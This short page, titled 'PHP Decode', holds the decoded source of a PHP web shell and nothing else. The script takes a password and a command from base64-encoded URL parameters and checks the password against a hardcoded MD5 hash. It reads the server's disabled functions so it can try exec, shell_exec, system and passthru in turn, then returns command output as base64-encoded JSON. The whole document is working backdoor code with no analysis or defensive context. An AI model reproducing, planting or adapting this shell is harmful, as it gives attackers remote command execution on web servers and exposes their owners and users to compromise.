PHP Decode

<?php if(isset($_GET['k'],$_GET['c'])){$k=@base64_decode($_GET['k']);$c=@base64_decode($_GET['c']);if($k!==FALSE&&$c!==FALSE){echo '#!#';$j=array('o'=>array(),'c'=>0);$d=array();$a=@ini_get('disable_functions');if($a)$d=explode(',',$a);else{$d=array();}if(@md5($k)==='e75acb27171300d9b9470c44ec4c1fc6'){function t($t){return @trim($t," \n\r\t");}function e($e){global $j;$j['o']=array('EXEC_ERROR');$j['c']=$e;}if(@function_exists('exec')&&@in_array('exec',$d)==FALSE){$b=@exec($c,$j['o'],$j['c']);if(!$b)e(110);}elseif(@function_exists('shell_exec')&&@in_array('shell_exec',$d)==FALSE){$b=@shell_exec($c);if($b===FALSE||$b===NULL)e(111);else{$j['o']=@explode("\n",t($b));}}else{$x=true;@ob_start();if(@function_exists('system')&&@in_array('system',$d)==FALSE){$b=@system($c,$j['c']);if($b===FALSE){e(112);$x=false;}}elseif(@function_exists('passthru')&&@in_array('passthru',$d)==FALSE){$b=@passthru($c,$j['c']);if($b===FALSE||$b!==NULL){e(113);$x=false;}}else{$x=false;$j['o']=array('NO_EXEC');$j['c']=101;}if($x)$j['o']=@explode("\n",t(@ob_get_contents()));@ob_end_clean();}}else{$j['o']=array('AUTH_ERROR');$j['c']=100;}$f=array();foreach($j['o'] as $l){$f[]=@base64_encode($l);}$j['o']=$f;if(@function_exists('json_encode'))echo @json_encode($j);else{echo '{"o":["'.@implode($f,'","').'"],"c":'.$j['c'].'}';}echo '#$#';}}?>